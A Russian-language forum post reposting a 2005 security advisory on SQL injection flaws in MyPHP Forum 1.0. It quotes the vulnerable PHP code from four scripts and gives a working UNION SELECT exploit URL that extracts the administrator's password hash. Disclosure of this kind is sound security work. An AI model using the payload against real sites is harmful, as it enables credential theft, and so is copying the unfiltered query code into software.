Показать сообщение отдельно

SQL injection in myPHP Forum
  #1  
Старый 08.02.2005, 21:42
Аватар для Rebz
Rebz
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме:
13166814

Репутация: 3876


По умолчанию SQL injection in myPHP Forum

/*==========================================*/
// GHC -> MyPHP Forum <- ADVISORY
// Продукт: MyPHP Forum
// Версия: 1.0
// URL: http://www.myphp.ws
// Класс уязвимости: SQL инъекция
/*==========================================*/

[Описание]
MyPHP Forum простой скрипт форума, написанный на PHP с использованием баз данных MySQL.
Несколько уязвимостей типа SQL инъекции позволяют получить важную информацию и выполнить произвольный sql запрос.


[1] уязвимый скрипт: forum.php


код:
--------------------------------------------------------------------------------

$query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid=$fid") or die(mysql_error());
$nav = mysql_fetch_array($query);

--------------------------------------------------------------------------------

Переменная $fid не фильтруется. Вследствие этого возможна инъекции SQL кода в указанном сценарии.

[2] уязвимый скрипт: member.php


код:
--------------------------------------------------------------------------------

if($action == "viewpro") {
$member = $HTTP_GET_VARS[member];
$sql = "SELECT * FROM $db_member WHERE username=$member";
$query = mysql_query("SELECT * FROM $db_member WHERE username=$member") or die("cant execute $sql");
$member = mysql_fetch_array($query);

--------------------------------------------------------------------------------

Не фильтруется переменная $member. Возможна инъекция произвольного SQL кода.
member.php?action=viewpro&member=[SQL code]

[Пример эксплоита]
member.php?action=viewpro&member=nonexistuser'%20U NION%20SELECT%20uid,%20username,%20password,%20sta tus,%20email,%20website,%20aim,%20msn,%20location, %20sig,%20regdate,%20posts,%20password%20as%20yaho o%20FROM%20nb_member%20WHERE%20uid='1
В результате данного запроса будет отображен хеш пароля администратора (в поле "Yahoo").

Пароль шифруется функцией encrypt():

код:
--------------------------------------------------------------------------------

function encrypt($string) {
$crypted = crypt(md5($string), md5($string));
return $crypted;
}

--------------------------------------------------------------------------------

[3] уязвимый скрипт: forgot.php


код:
--------------------------------------------------------------------------------

$email = $_REQUEST[email];
if (isset($email)) {
$sql="SELECT * FROM $db_member WHERE email=$email";
...
$result = mysql_query("SELECT username FROM $db_member WHERE email=$email");
$username = mysql_result($result, 0);
$msg = "
Hello $username,

--------------------------------------------------------------------------------

Не фильтруется переменная $email, через которую возможно внедрение произвольного SQL запроса.


[4] уязвимый скрипт: include.php
Этот скрипт включается для аутентификации во все важные сценарии.
Переменные $nbuser & $nbpass не фильтруются.


код:
--------------------------------------------------------------------------------

$query = mysql_query("SELECT * FROM $db_member WHERE username=$nbuser")

--------------------------------------------------------------------------------

Через перменную $nbuser возможна инъекция SQL запроса.

P.S. все указанные уязвимости действительны при magic_quotes_gpc=0.
P.P.S. некоторые скрипты myPHP v.2.0b так же подвержены уязвимостям.

/* ================================================== */
/* www.ghc.ru -- security games & challenges */
/* ================================================== */
/* greets to: RST.void.ru, D0G4 & all quest hunters %)*/
/* ================================================== */

Найдено ghc.ru by foster
 
Ответить с цитированием